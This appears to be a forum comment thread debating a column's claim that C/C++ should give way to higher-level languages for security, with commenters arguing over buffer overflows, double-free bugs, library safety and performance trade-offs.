Sure, if you code using no libraries and are a dumbass about it. Heck, you can avoid most of the vulnerabilities he's talking about in C++ just by using std::string. Most of the other worries can be eliminated by using decent libraries like boost (its pointer templates are great) or Loki. In C it's a bit harder, but there's secure string and memory libraries available there too (I recently poked around in vsftp which is straight C code and uses wrappers for all string functions).
There's no need to move to a different language - although I definitely agree with different languages for different purposes - but you definitely need to know how to write things properly in the language you do use.
And while he acknowledges that high-level languages aren't immune to security bugs, he also seems to forget that most high level languages are written in lower level ones (such as Perl being written in C). A mistake in the code that creates the high level code can leave the entire thing wide open and you're back to square one. On the upside you only have to patch the language. On the downside you have dozens or hundreds of vulnerable programs instead of one or two.
Of course, the author also seems to forget that not everything was written in the past two or three years. Just how old is lpr? Is rewriting it - in any language - really going to be worth it?
Finally, the author's list of vulnerable programs at the start starkly contrasts with his suggestions at the end. Of the six listed four (kernel, openssl, mysql, and glibc) are not applicable for rewriting in high level code - by the author's own admission. One of them (openssl) is not even a language issue - it's implementation. The last two could, in theory, be written in high level languages, but lpr seriously predates Perl or Python. Mutt might have been a candidate for a high level language though - so 1 out of the 6 is a viable gripe.
The author does make a good point... it's just buried in his pointless bashing of C/C++. You need to know your tools, and you need to know how to code securely. The tools can help, but if you don't code securely then all they can do is block the more egregious sins... and those are rarely the ones that get exploited (they get blocked or patched quickly).
www.dotgnu.info it needs some work, but its in essence a fast vm that groks most console c# applications.
I'm pretty much a Java coder that used to to a lot of programming in C and C++. If I ever go back to a job that required me to code in C, the first thing I'm going to do is look for a memory management package (at least keep track of what's been alloced and freed) a decent string handling library, and something for bounded-array access. Honestly though it won't be for the security aspect, but for the EASE OF DECENT CODING.
I won't have to worry about debugging something that segfaults before I get to real bugs that deserve real attention. As a kick-back, my code won't be easily exploitable. I'll also naturally pay more attention to function calls that go outside my mini-sandbox. Basically, calling untrusted code becomes a pain-in-the-ass, not the other way around.
Perhaps I might have to type a bit more. That's no big deal since it's like complaining about coding in language X insteady of language Y because in Y you have to type less. Perhaps somebody who maintains my code has to read a few pages of documentation first. Well I'll probably already saved him 10X that time since he's not trying to fix a bad pointer arithmetic bug for a bizzare case scenario. Next, let's say it slows down my code, well then I can carefully optimize after the project is working and then run some regression tests. Finally, if all else fails, then management should have asked me to program in a different language. After all, our goal as software engineers is producing a quality product, not banging something out real quick just to impress the boss.
Repeat after me: Security is a process, not a product. HLL's can be misused just as effectively as LLL's.
Bingo! Here's an excellent example: word macros
If I have been able to see further than others, it is because I bought a pair of binoculars.
Lasser has a pessimistic view of programmers. He assumes they care about security, and he also assumes they are unable to write secure (abuse-resistant) application code.
Lasser is optimistic of high-level languages. He assumes that the buffer-overflow and input validation problems can be solved by giving programmers complicated components wrapped in high-level language constructs, and forcing programmers to use them, as in making the low-level features unavailable.
I agree with Lasser that sloppy use of low-level language constructs is an invitation to disaster. I disagree that abstraction is the solution. I disagree that application programmers sufficiently *care* about security. I disagree that application programmers are unable to code applications securely in low-level languages.
I suggest that application programmers do not care sufficiently about security. How often do you see "test harness" code written by a programmer to expose possible problems with their own libraries? How often does software get refactored to facilitate finer-grained testing? The problem with the status-quo is that the process of finding these bugs too-often escapes the grasp of the application programmers. In the worst-case the code-review is effected by a widespread Internet worm. It should be effected by the programer(s).
Code is law. This is a problem of readability. With insecure programs, it is not obvious that the security vulnerabilities exist. Bugs == undocumented features. We must not avoid the questions: What are my expectations of this code, and does this code conform to my expectations? OpenBSD is written in C. It uses low-level language constructs, but its record is significantly better than Lasser's examples, and improving.
Using high-level languages *can* be more secure, and they represent a certain kind of discipline, which is helpful. However they are not panacea for buffer-overflows, and they represent lack-of-awareness, which is dangerous. Moreover, most low-level languages have features which allow programmers to create their own abstract constructs. Refactoring applications and creating such abstractions as a part of application development allows programmers to take the advantages of both high and low level languages, and with discipline they can avoid the drawbacks of either.
Programming is intellectual work. It is never going to be easy to do it right. Even a simple programming exercise (that in the end requires no changes or improvements) should recieve the same level of scrutiny as the level of its users' dependence. Coding without that scrutiny--code review--is not programming. It is bare coding. Programming is distinguished by problem solving. Coding is just writing anything that can be validated by a compiler. Without that Philosophy (as in love-of-wisdom), you are dealing with fools' code.
--- Nothing clever here: move along now...
You're right, C or C++ code with explicit memory allocation still makes it too easy to code double-free bugs. But despite the recent zlib vulnerability, double-free is not the most common cause of security holes.
It would help if the standard free() did a bit more checking, in particular making sure you can only free() an address you've previously malloc()ed. That would make it slower, but not too much slower. Programmers could always turn off this checking for code that relies on allocating and freeing lots of blocks quickly. But I feel that having things safe by default, with the possibility to turn on 'fast but more dangerous mode', is a better design than providing the unsafe facilities by default.
If you program in C++ with the STL, you hardly ever need to do pointer arithmetic, indeed the use of pointers themselves is relatively rare. In C it may still be unavoidable.
I agree with you about the integer overflow bugs; it would have been much better if C and C++ could give an error for these rather than silently continuing. Stroustrup claims that arithmetic operations in C++ don't throw exceptions because overflow detection happens asynchronously on many systems. But that seems like a pretty weak excuse; you could at least have some barrier in the code which checks for overflow that recently happened.
And yes, C++ does have exceptions, and it's better to use a library which throws exceptions on failure than to call system calls directly.
I think we'd all be better off if everyone switched to SML, but I wanted to say you _can_ avoid the most common bug-patterns in C and almost all of them in C++.
-- Ed Avis ed@membled.com
I'm a C programmer. I also know Java and Perl. Have you seen my Perl code? It works, and it runs, but I'm pretty sure it's not high quality code.
On the other hand, refusal to use STL or other existing library for performance reasons truly is stupid. There are other tricks to use such as smart pointers to prevent memory leaks. The thing is though, these require a reasonable understanding of the language you're using. (They're also typically more about stability than security).
Other languages don't have these issues, but they may have issues of their own. Switching to Java isn't a panacea for all security issues. It will prevent buffer overruns, but so will the right C libs, and that doesn't require that I learn a new language
What Mr. Lasser seems to miss is the fact that security holes are caused by programmer error. Whether an application was written in C or Perl, the developer can still make fatal errors in anticipating input into the program leading to security problems.
For example, he cites a very good example that a POP/IMAP server does not need to be written in a low-level language. I tend to agree, but the bug problems certainly won't stop there. Sure it'll be harder to create a buffer overflow (provided the Perl/Python/Java/Flim-flam interpreter is secure (since it's probably written in a low-level language), but it does NOTHING if there's a security problem access the user's mailbox, or directory access or a syntax error in interpreting IMAP commands.
Mr. Lasser also mentions the "macho" factor. Mostly nonsense. I program in whatever gets the job done the quickest, and I'm sure most of the programmers do the same. The errors Lasser complains about are the same problems found in other lines of business -- it's work performed by humans. For whatever reason, an error is made.
The thrust of the article is that most programmers are not skilled enough to write secure code, so they should be using HLL's that do the security for them, and leave C/C++ code to the "experts."
No. The that is not the thrust of the argument. The thrust of the argument is that high level languages have automated features (memory management in particular) that can reduce the chance of security bugs just as there are features in airplanes to help pilots avoid mistakes.
Security is a process, not a product. HLL's can be misused just as effectively as LLL's
Imagine if Boeing said to a fighter pilot: "we've got this new feature that will reduce crashes by 5%." Would the pilot say: "your new planes can be driven into the ground if I fall asleep just as effectively as your old ones?" No, unless he is a macho cowboy, he's more likely to say: "thank you." Because he knows he isn't perfect and that every little bit helps.
I've been saying a long time that C and other unsafe languages simply are not suitable for most applications. There must be a very good reason for such languages to be the primary (good) choice.
And truthfully, I don't feel safe knowing that most of the code running on my machine and servers out there is written in unsafe languages.
Like the article author mentioned, who knows how many bugs are out there being actively exploited because they are not yet widely known?
Of particular importance is the fact that bugs such as buffer overflows don't exist *AT ALL* in other languages. Yes, there are many ways to introduce security vulnerabiliies in applications, regardless of language. But with unsafe langauges that allow bufer overflows, even the simplest application may have disastrous bugs.
For example, a network monitoring system that does nothing but monitor traffic can easily contain a remote root exploit if written in an un-safe language. If written in a safe language, it is virtually unthinkable that such a bug exists, because the application simply does not perform actions that are even related to privileges / unsafe file access, and, as opposed to the unsafe language equivalent, there are no arbitrary-code-execution bugs. (Assuming of course one doesn't doo things like invoking shell scripts, in which case unchecked parameters can cause grief.)
If everyone started writing code in safe languages except where an unsafe language was *really* called for, there would almost certainly be a LOT less exploitable bugs, and in particular, a lot less random. Yes, a buggy ssh server written in a safe language is a hazard. But a buggy time server isn't, nor is a network monitoring application, and nor are a number of other types of applications.
In short, without arbitrary-code-execution bugs, it is much easier to determine what type of damage is likely to be caused by a certain application. And the probability that a bug steps outside of its scope of expected bugs is much smaller.
So please, enough with the low-level conservatism please.
/ Peter Schuller
--
peter.schuller@infidyne.com
http://www.scode.org
The article really touched a nerve, didn't it?
While I believe there is a need for the computing industry to move towards more responsibility for security, focusing just on C/C++ programmers will not do the job. There is plenty of improvement to be made by the end users, and the columnists as well!
Where in the article did he say that the only way to improve security is to use high level languages? As I read it, he said that one way to improve security is to do so.
I don't feel it necessary to expound on this further. There are plenty of comments here and published papers on writing clean, secure, and efficient code, regardless of which language is used.
assert(expired(knowledge));
An additional problem with C (and to a lesser degree, C++) is that it doesn't protect you against mistakes or typos: it is very easy to introduce crashes and security problems accidentally.
Many languages other than C/C++ almost completely eliminate that worry. Java offers almost complete fault isolation: code simply cannot foul up structures to which it doesn't have access, and furthermore, you can control very carefully what code that you load is and is not allowed to do. And Modula-3 and C# give you the ability to mix safe and unsafe code predictably: by default, everything is safe. But if you ask for it, you can do unsafe stuff in clearly marked sections of the code. Furthermore, external libraries are guaranteed to be marked correctly as to whether they are safe or not.
Those are capabilities that simply are not available in C/C++/Objective-C, and they cannot be retrofitted or added after the fact as libraries.
similarly using 'vector' or other STL containers instead of C-style arrays.
That is wrong: STL makes very few safety guarantees. This is very unfortunate because the ANSI C++ committee had a big opportunity to make C++ a much safer language, but they missed it. If you want better support for safety in C++, you'll have to use or write your own data structure types (since STL is so poorly designed in many other ways, that's a good idea anyway).
At least in C++ there is a standard 'string' type, although some people insist on reinventing the wheel (Microsoft's MFC with CString, Qt with QString).
That's because (1) many of those libraries predate ANSI C++ by a long time, and (2) the ANSI C++ standard 'string' type also has some serious limitations.
C++ is a great language for scientific applications and things like embedded systems and operating system kernels. But it is not a good language for end-user application software, GUIs, or servers. And C, while it was a wonderful workhorse for 20 years, should really be retired.
There are many reasons that developers choose to use C/C++ over other higher level languages. Here are a few of them.
Honk if you're horny.
While I have to give him credit for managing part of the Bastille project, which I've used at home and which I think is extremely useful, his philosophy of programming is pretty simplistic and dumb, IMHO.
He thinks we should all be using languages like Perl and Java, unless we're doing something His Highness considers elite enough to *require* the use of a lower-level language like C or C++. He thinks that all the people developing for Linux who have chosen to use C/C++ instead of his pet languages (again, Perl and Java) are somehow irresponsible. He categorizes them all as "macho" types, who are using the language just to pretend they're cool. And, he compares programmers to jet pilots... I mean, God, Almighty, I think there's a little bit of a difference between someone who flies five hundred miles an hour and can take out a small town with a single "oopsie", and a guy writing a printer driver, don't you?
God, what an ego! Who does this guy think he is? And, how old is he, 22? His picture looks pretty damn young to me (actually, looking at his picture, the thought that crossed my mind was "Oh my God, he's a hobbit -- this guy's from the Shire"). What hubris! What arrogance!
I don't know about you guys, but I'm pretty damn tired of hearing Java jockeys go on and on about how "safe" and "secure" their pet language is, and how bad the tools the rest of us use are. These annoying people pursue their "one true tool" approach like a religious crusade, consistently make asses out of themselves, and waste time annoying the rest of us with their blather.
Before I kill off this rant, I'd like to make a couple of points:
1. There's NOTHING wrong with using C or C++. In fact, using C or C++ virtually ENSURES that your stuff is going to work on a wide variety of computers (yes, even the older ones without much RAM). For some of us, this is an important consideration. Another consideration is, gcc is GPL'ed, so no one can ever "take it away". Java is still proprietary. And, Perl is a scripting language, which is not fully object oriented; so some projects will naturally be easier to manage long-term via C++. What's my point? USE THE TOOL THAT MATCHES YOUR NEEDS, NOT THE TOOL SOME ARROGANT KID OFFICIOUSLY ORDERS YOU TO USE.
2. People choose C/C++/whatever for their own reasons. Many people know more about C++ and are familiar with the libraries available on Linux; they find this very convenient and pleasant. There is NOTHING wrong with using the tool you're good at using.
3. Most people developing for Linux are HOBBYISTS. This means, they use the tools they enjoy using. And there's NOTHING wrong with this, either. Different people, using different tools and following their own muses, make life interesting.
4. Buffer overruns and other bugs can be avoided if you're just a little careful with your code, and don't cut corners. It's just as easy to write buggy Java as it is to write buggy C++ (yes, Java fanatics, it is! Look at all the crashing applets and java apps around the web and THEN tell me how great your pet tool is...).
Ok, that's enough ranting for now...
In general, I'd say people should use the tools they enjoy using, and write the kind of stuff they like to write -- then, spend some time vetting your code before they release it. Lord knows, hardly anyone's getting PAID to write software anymore, we might as well enjoy the work...
Farewell! It's been a fine buncha years!
Maybe they just don't like posting every way to hack into the OS on a website read by millions of juvenile hackers. I mean I am sure all the people with public linux servers would just love that. Oh shit, someone just found 30 different ways to hack my box, and oh christ, their not going to have a patch for these problems untill some open source programmer gets around to fixing it. This is the only problem with open source, If you find a security hole in a Sun system, or god forbid, a windows 2000 system, the community tries to keep it as quite as possible while their programmers come out with a patch and release it to everyone. While in open source, I have to announce that my front door lock is broken, to the whole world, and hope that a good natured lock smith fixes it, before half the crooks in the world steal all my stuff and rape my dog.
Anonymous Cowards - Oh God, How I hate you
On the other hand, Linux and Windows are in the same boat here: most of their critical components are written in the same languages: C and C++. Ditto for Solaris and Mac OS X. So, Windows doesn't have intrinsic an advantage there when it comes to languages and tools.
But Linux's development processes, community, and modularity give it a huge advantage over Windows when it comes to security. Just the ability to strip down a Linux system to barely a kernel and a handful of user processes, as well as the very fast bug fixing are enormous assets when it comes to security.
However, Microsoft has seen the light, which is why they are pushing C#/.NET: C# really does let them write code that is pretty much as efficient as C++ code, while still being completely safe, and yet giving them full access to the low-level features of the machine. So, if the Linux community doesn't watch out, Microsoft may (for the first time) end up having a technical lead.
Fortunately, the Mono project is working hard on creating a platform for both client and server development in C#. And, of course, we also are getting more servers and server components in Java, Python, PHP, and Perl.
You would think the Windows is the ONLY unsecure platform and the Linux it the great white tower.
While I don't agree that Higher-level Language == Better Security, I do think that there is some value in using a higher-level language to achieve better security.
Think of it this way. There are tasks that humans do better than computers and task that computers do better than humans. I would argue that array bounds checking and memory management (in the form of garbage collection) are better suited for a computer. Why? Because they are mundane tasks that happen a great deal in low-level programming.
Why not push those tasks (ones that a computer can handle very well) onto the language or runtime library? Free the human (programmer) to concentrate on the more complex security issues.
--
"What do you want me to do? Whack a guy? Off a guy? Whack off a guy? Cause I'm married."
I'll accept that, in the diversity of programmers, there are some that are writing insecure code. But stereotyping of this sort is an act of the columnist. Even if there are some programmers who adopt this stereotype, they do not nearly comprise the entire population. The existence of many professional, responsible programmers is completely discounted by the columnist.
No, it isn't. The columnist points to security holes in software written by our best and brightest: Linux, Samba, and Evolution to name three. Nobody's gonna say that the people who develop these packages are anything less than professional, responsible programmers. People like Alan Cox and Andrew Tridgell. What Lasser is saying is that even the brightest, most professional and responsbile programmers make mistakes, especially when they're writing in a low-level language. Buffer overflow problems or format string errors are very easy to make and are oftentimes not obvious until well after the code is released. And yes, even people like Alan Cox or Andrew Tridgell or Linus Torvalds make mistakes. Shocking, I know.
And if you think about it, in many ways, Lasser is write. I will say that just writing in HLLs is not going to solve the problem. You *can* write bad, insecure code in HLLs. But it's not nearly as easy for professional, responsible programmer to make a mistake in an HLL as it is in LLL. That's the spirit of the article, and I happen to agree with it.
My journal has hot
The many posts here by people saying "I gotta use C/C++, that other stuff's too slow" prove exactly this point.
In the 80s, I worked for a number of years as an assembly language programmer (6502, 6809, Z80, x86, 680x0, ARM); we didn't use C (in fact, we sneered at people who did) because it just couldn't offer the performance of hand-crafted assembler (and I'm talking 30,000+ lines here).
Now I do almost all of my design prototyping in JavaScript (quick turnaround on the modify/compile/test cycle), and code real stuff in Java or (occasionally) C#. Why? Because I like making stuff work.
I find it hard to understand why people torture themselves with C/C++ when there are more productive languages available. I mean, wasting a day tracking down a dangling pointer? Life's too short!
I'd still happily turn to assembler if I really needed performance, but my crappy old PC and my uncrappy, not-so-old Mac (under OS X) seem to manage everything I want.
If I need to confuse myself with intractable problems, I'll contemplate my life.
Using HTML in email is like putting sound effects on your phone calls. Just say <strong>no</strong>.
Agreed. This guy mentions recent bugs in OpenSSL to try to bolster his argument. Of those three bugs, exactly zero of them would have been prevented by using a high-level language.
Basically, by choosing these examples, this guy refutes the very point he is trying to make. In fact, for the first two bugs, a slower language like Java would make it even easier to mount a timing attack (since each crypto operation would go much slower, an operation's absense would be more detectable).
Migrating away from C may solve buffer overflows, but it is not a panacea. I'd rather use code written in C by security-minded coders than HLL code written by somebody clueless.
Since I spent the past two weeks learning Dan Berstein's tinydns and qmail, I'm inclined to agree with you. These two are probably bulletproof. However, all this guy does is write small, insecure software for 10 year old protocols. He spends a lot of time on security, and not much on developing new features or ways to make his software easy to admin (it's not impossible, it just takes longer than other sendmail subsitutes).
I think that when HLLs like Java are used for preliminary implementations of new protocols, we get security and ubiquity first. And really, that's what you want when you've got a new app. This is one of the things I think Freenet has done very much right. Java has not signficantly slowed down the network, but has made it easier to do complicated things without flaws becoming exploits. Fewer people can do more sooner.
Eventually, hypersecure, hyperoptimized tools like Bernstein's will be created for everything. Until then, I'll take the "free" security over the free speed of C.
Hey freaks: now you're ju
The biggest problem with C/C++ is the complete lack of a standard safe library. Developers don't like to say "You need to install these 20 other packages before my program will run on your system."
Also there are Language biggots that say "C is better than X because it's faster" or "Just because we have a 2Ghz, doesn't mean we should waste it."
C is faster than X?
A language isn't fast, only it's compiler has had more time to be optimized. Natively compiled programs in fact have less of a chance to be fast for these reasons:
1) compiled for a specific architecture, usually 386.
2) can not inline shared library calls.
At the moment C may be faster than X, but in a lot of cases, X (where X is an interpretted or VM compiled language) will eventually over-run C in terms of performance.
Just because we have 2Ghz, doesn't mean we should waste it?
Also, you have to consider that these languages usually have enormous libraries and abstractions like Java so that developers don't have to code as much. This means there is less code that has to be checked for security issues. It means more efficient developers. At some point, the time of the developer out ways the time spent on the CPU. I would rather people were making this choice rather than to skimp on security. Security is often implemented after the fact in C.
Security is always more important than performance to me. You are playing with data. Data is the single most important asset that anyone has. People cry for hours over loosing just 4K-10K of data. I would say to those that don't have the time to make a program right in C (takes more time than Java if you consider security and performance) then don't write it in C. You could end up causing a lot of people a lot of pain.
If you don't like Java, use Python. If you don't like Python, write a good VM. If you don't like VM's, you better take the time to check your code well. If you don't have time either, don't even bother programming. You are just going do more bad than good.
Karma Clown
This problem is so serious that I give away a book explaining how to write secure programs in Linux and Unix. See my Secure Programming for Linux and Unix HOWTO.
It's certainly true that avoiding C/C++ eliminates some buffer overflow attacks, but note that there are things to watch out for in every language. I agree that there's an overuse of C/C++ in cases where they don't make sense, but switching to another language while failing to get the programmers trained won't solve the problem.
- David A. Wheeler (see my Secure Programming HOWTO)
There are tons of popular C++ libraries that don't use the STL...to say nothing of all of the C libraries that you must call into. Plus, I don't think that STL has decent unicode support. Wstring is not enough. Unicode has a bunch of semantics that are built-into the string classes of languages like Python and Java.
Do all those of us that program really believe that what we turn out is great? I certainly don't - I think I have enough humility to realise that there's ALWAYS room for improvement with stuff I've written, and I take no offense when such improvements are pointed out to me. Do others feel differently?
Gentlemen, start your penguins
Well, what to say? Have not seen such meaningless statement over the years....
Yes, and there are plenty of published papers on the fact that safe languages do, in fact, buy you some safety. Obviously, they can't protect against all classes of programmer error; but they can protect against certain important classes of error, such as string buffer overflows, and arbitrary pointer dereferences, both of which have been the major factors in creating easily exploitable remote security holes.
So, the author of the article in question is correct. In fact, kidding yourself that there's no difference between C and a safe language in terms of security, is exactly the sort of overconfidence (in this case based on either denial or ignorance) that the article was referring to.
This is a troll, right?
Your mfree() function is completely useless, except in as much as it's an alias for free(). (An exact alias, free() is defined as a no-op on a null pointer)
The compelling advantage of C and C++ are their translucency - you can see down to the level below what's happening, and confidently fiddle with the pointers and bits and so on. In C++, you can access stuff under the classes. It's fun, and powerful.
The problem comes when you start to work on larger programs which draw your attention to higher level design. At some point, you're spending your effort on object interactions, and external interfaces, and all the fun fiddly bits aren't useful anymore, 'cause you've got better things to think about. At that point, things that seemed like minor inconvenience (just remember to check if a every time?).
So you forget. Or figure you'll go back later when the rest is "done" (either it's never done, or you never have time, so that the holes just hang around).
This is the advantage of using a higher level language. The entire point of higher level languages is to have the computer handle mindless repetitive stuff, because computers are very thorough at mindless repetitive stuff. A Pascal compiler will never just get bored and forget to check an array boundary. That takes things off your mind.
Everyone starts with small programs or tasks, and C and C++ are nice for those, you get lots of experience. Most programmers just forget to give them up when they're no longer the right solution, because they're so used to them, and they work so well, and maybe they don't have time to learn another language. But the more mental effort you need to spend on higher level design, the more the low level stuff language should take care of. Maybe that only means graduating to C# or Java, maybe Python or Lisp - each one abstracts different amounts of the low level details.
That really depends on where you like to focus. High level design can be every bit as interesting as low level coding, but it takes a mental transition that some people just prefer not to make. And some people do really like the fun of efficient coding (I do) and don't want to lose that.
But in the end, the program suffers if you don't make the right choice.
In particular, he confuses the distinction between safe and unsafe programming practices with the choice of language, and an makes a specious distinction between "high-" and "low-level" languages. He further fails to recognize why "the number of bugs in Web applications written in Perl and PHP is astounding" despite their supposed high level.
An advantage of some languages that are very unlike Perl and PHP (such as C++ and O'Caml) is the ability to perform a variety of error checks at compile time. That these languages tend also to support "low-level" operations does not, by itself, make coding in them less safe. Rather, what matters is whether there are inherently safe ways to do all the common operations a programmer needs to do.
What Jon Lasser should call for, if he wants to be taken seriously, is for better use of well-tested libraries that present high-level interfaces for common functions. Safe libraries may be written in any language strong enough to support a sound library interface. The more error checking that can be automated or obviated, the safer the code can be.
C++ offers library authors strong tools for safe library implementations. Python enables sound interfaces, albeit checked only at runtime. C offers much less to the library designer, mainly because resource management in C cannot be automated. Perl offers the least of all, because global state may may affect the semantics of primitives used in a library more or less at random, and because the language semantics themselves tend to chaos. Java encapsulates memory management but offers little help in managing other resources.
These languages don't fall neatly into "high-" and "low-level" bins that imply safety or unsafety. Safety comes, to a large degree, from use of well-designed, -implemented, and -tested libraries. Language choice affects safety in the availability and usability of such libraries.
the nature of coding is a time constrined task with dynamic conditions. its not that one operating system is better than another, ( the basic functions are all the same). but i believe that when faced with a problem, its how the problem is solved. currently the linux community is offering constructive solutions that are quick and insightful. i think that what we are seeing is a change in how solutions to problems are to be generated. sadly, i see that the inflexablity of older systems are offering arrogence in exchange for abilities to solve problems.
A mail server that doesn't deliver mail locally has no need whatsoever to run anything as root. Most of its components could run in a jail, unable to open files. The same is true for DNS servers. Yet, after twenty years, we're still getting reports of holes in those programs. Under UNIX and Linux, too.
Microsoft OSs are worse, yes, but that's a separate problem. Their lock-in business model requires lousy security.
Can you show me a high level language that duplicates the flexibility and performance of C++ templates? Once you realize that you cannot, youll understand that C++ is still the only game in town.
And performance does matter. How pleasant are client side gui's implemented in Java? HORRID! They are just slow, and ugly.
I can't say I compleatly agree with this article. In the comercial software world speed is extreamly important. Look at Opera, their biggest sellng point is being 'the worlds fastest browser' and happens to be coded in C++/Qt. While it would be nice, I doubt one could write a comparable comercial browser in python or perl.
Oddly enough, there was no mention of ada as a viable security conscious language.
FUD. Innuendo, theories, and proclamations without any evidence or compelling, detailed solutions to the so-called problems he enumerates. 'When will programmers take responsibility'... 'Programmers aren't like jet pilots'... whine, whine. Completely content-free.
This post expresses my opinion, not that of my employer. And yes, IAAL.
Source code will never be better or more secure than the progammers who make and work with the software. As easy as that. If open source is better it is because the programmers are better and given better conditions to make it better (more time, more ppl checking it out, etc).
Yes. Unless you are writing in machine code, you are depending on the quality of at least one other layer of software, so if you want to be paranoid only machine code should be considered "secure" -- well, least likely to be insecure, anyway. My real point was the cost of layering -- with C you already have several dependent layers of software of high complexity and potential for failure. Programming in something based on C, say Perl, has one more. Something writen in Perl itself adds yet another, etc. The supposed benefit of not having to be as careful a programmer because one is using a higher level language needs to be balanced against the cost of having to trust that all the products used to create said higher level language are better than what you could do if you carefully used a lower level one. The real problem today is lazy coders who can't be bothered to check return values or program defensively against probable problems. You may be able to move most of them to some high level language where they can be sloppy without fear of (as much) reprisal, but someone else will still need to be a programmer good enough to create or maintain said higher level language.
Pilots learn how to fly by wire, but they also learn how to fly without those aids, just in case, and they practice it. At least that's what the pilots I know have told me.
To tell programmers to forego lower-level programming languages because they don't know how to use them properly and switch to higher-level languages is foolish. Sooner or later they're going to have to work with those lower-level languages because of a project requiring hard-core performance, and they'll be so screwed if they don't know what to do or how to do it properly. Plus, if it's not in their mindset to watch out for security and performance issues in language A, then what makes one think that the programmer will do a better job with language B?
Most programmers I know don't see C or C++ as their dream languages, but rather Java with EJB. And on many instances they have to be beaten back from that because they're trying to implement something that's far more complicated and fragile than it should be. Oh, and insecure, too -- not because of buffer overflows or formatting string problems, but because of bad architectural decisions and too much emphasis placed on OODA techniques and not enough placed on security, data integrity, fault tolerance, etc. They end up with systems that, despite being written in a higher-level language, are easily compromised and private data yanked out of a database, content defaced, systems easily taken down, etc.
It doesn't matter what language you use for a task; they each have their own risks, vulnerabilities, quarks, etc. Just as mechanics, construction workers, plumbers, electricians, carpenters have to know how to use their tools, programmers have to know how to use theirs. If they don't, then they should be retrained or sacked or moved to someplace where they can not cause as much damage.
I'd rather use code written in C by security-minded coders than HLL code written by somebody clueless.
And I'd rather use code written in an HLL by security-minded coders than C code written by security-minded coders. And that is the point the author was trying to make. Who says that security-minded coders have to write in C?
Articles about it.
If you are a decent Systems Adinstrator you can lock
any Unix box up tight.
(this is a copy of my comment that I have left for the article)
The recent security holes in Unis softare have ABSOLUTELY NOTHING TO DO
WITH LOW-LEVEL LANGUAGES and everything with design bugs. Also the idea
that languages must keep newbies from doing specific mistakes (in this
case security bugs due to buffer overflows) is a load of complete and
undiluted bullshit. If they won't make common mistakes, they will make
uncommon ones. If it won't be a buffer overflow, it will be passing
tainted data. If it won't be memory leak, it will be object leak. And in
any case there will be some plain bad design.
The truth is, bad programmers write bad code no matter what, and newbies
make mistakes no matter how the language creators, in their arrogance,
tried to keep those newbies from doing this. The solution is to keep
programmers that write bad code from programming, not to try to find a
magic pixie dust that makes bad coder equal to a professional.
Contrary to the popular belief, there indeed is no God.
As a previous response stated - there _is_ a reason that things are still written in C, performance being very notable, but another reason is because most of the alternatives suck ass, and don't actually buy you anything.
.NoT, Java, Pearl et al you still get security problems, and if you're trying to run several of these "safe" programs on your system at once, you've probably also managed to DoS yourself. Great advice. I don't even consider myself a real programmer (just dabbling now again) and I understand these basics, what's his excuse?
Python, Perl, Java? Do -any- of those allow me to compile a program into a small executable (an irc or mail client should not be more than 500K imnsho)? Answer: NO. You'd be better off recommending Pascal or BASIC, honestly - you really would, at least most implementations of those are not quite the dog of more recent 'smart+safe' languages, and yet still keep people from really touching memory, while being able to compile speediesh executables. Do people use those languages either? No, because they're also kinda dumb, but for different reasons. This isn't say that C is the holy grail - there is definitely room for improvement, but the whole Virtual Machine JIT interpreted language path is not the way.
Fact is, all of these "safe" languages take increasing CPU speed and power for granted, but they're completely -wrong- about that assumption too. Your $300 Dell PoS is going to be a dog no matter what because the manufacturer is concerned about commodity pricing, not performance, and _definitely_ not security [just see what percentage of computers even ship with ECC memory ACK!]. Precompiled binaries still rule the world, and rightly so compared to all this JIT shit.
Moreover, just because you're using one of those languages, doesn't mean that programmers aren't going to make mistakes that will cost them. So, for all the added bloat of
Things like stackguard, or OpenBSD's recent propolice (which is now by default, surprise) are somewhat useful. But again, they do not solve the _real_ problem: bugs in code. Humans make mistakes, so bugs are going to occur, but until more than a few isolated projects (again, OpenBSD being notable here) audit regularly, the bugs will remain release after release after release, regardless of language.
Here's an analogy for ya:
If you have high cholesterol levels because you eat too much meat & diary and don't excercise enough, you can now take a pill or eat... what, Cheerios? to 'reduce' your cholesterol levels. What does the pill buy you? Risk of heart disease, maybe crapping your pants, I don't know - but believe me even after FDA approval, there's a long list of potential side effects.
Meanwhile, you _could_ just eat more vegetables and fruit rather than animal products all the time. Get off your lazy ass now and then, and low and behold - your cholesterol goes down. Hell, become vegan, and you'll have _none_. Problem -solved-, you're healthier, and you've saved money on medical bills (or rising Cheerios costs, not to mention veggies are cheaper than meat), and you don't have any side effects from whatever 'curative' you were trying to use.
Bugs = cholestrol, fixing bugs = eating right & exercising, switching to Pearl/Java/Python/PHP/crap = taking some medical pill to make the symptoms go away, but not really curing you and possibly giving you more grief.
Y'know, maybe most doctors don't say this outright, in the medical field, there is a clear distinction between a -cure- and something that reduces your symptoms. 99% of cures have to do with improving your lifestyle habits and not being lazy. 99% of medicines don't cure you, they just reduce your symptoms. Does cold medicine remove the cold? Is there even a cure for the cold (programmer stupidity)? No. However, maybe it will reduce your fever and lessen your coughing.
To be -healed- you need to take healing actions. In the world of software, that means fixing bugs. It's kin
This is known as "attacking a straw man". Lasser asserts "[programmers believe] that real coders, like fighter pilots, work as close as possible to the bare metal" then shows the number of ways that fighter pilots are in fact aided by high-level tools (fly-by-wire), and are more careful, trained and security conscious than the hypothetical boob programmer is aware of. Stoopeed programmer!
If he'd confined himself to making the case for higher level languages, and avoided this classical ad hominen attack, I'd take his thesis more seriously.
By the way, I work on one of those performance intensive applications, but have taken every opportunity to push for use of Python, where appropriate. In the end, it was too difficult to justify, not because of the attitudes of hotdog codin' cowboys, but due to pragmatic logistic reasons, such as forcing customers to download an additional 40-50 MB of binaries to guarantee that they had GTK+, PyGTK, Python 1.5.2 and so on (our customers are on older Solaris and HP-UX as well as Linux platforms).
I'm not a C++ programer, except very slightly. So does free(x) also assign NULL to x? If not, then it isn't an exact duplicate (seems likely as functions aren't supposed to change their arguments). If so, then you're correct, but I don't see how double frees could ever happen... separate threads?
I think we've pushed this "anyone can grow up to be president" thing too far.
His version contains extra useless code to set the pointer to NULL. That's why he has the separate definition. So that after a call to mfree, the pointer is set to NULL and everyone is happy.
Except that it's in a function and hense the caller keeps the original non-NULL pointer. (Although it might not; it depends on the compiler's definition of "__inline__". GCC would leave the "callers" x alone, I tested it. I expect that this would be the case for most other compilers as well.) An actual preprocessor macro would be needed to make that actually work.
Except that there's another problem making even that useless:
(No indentation courtesy our Python hating <ecode> friend.)
After mfree sets bar to NULL, buf, the same pointer, remains pointing to memory. And it then attempts to free it again - a double free, even when using the mfree "safe" macro.
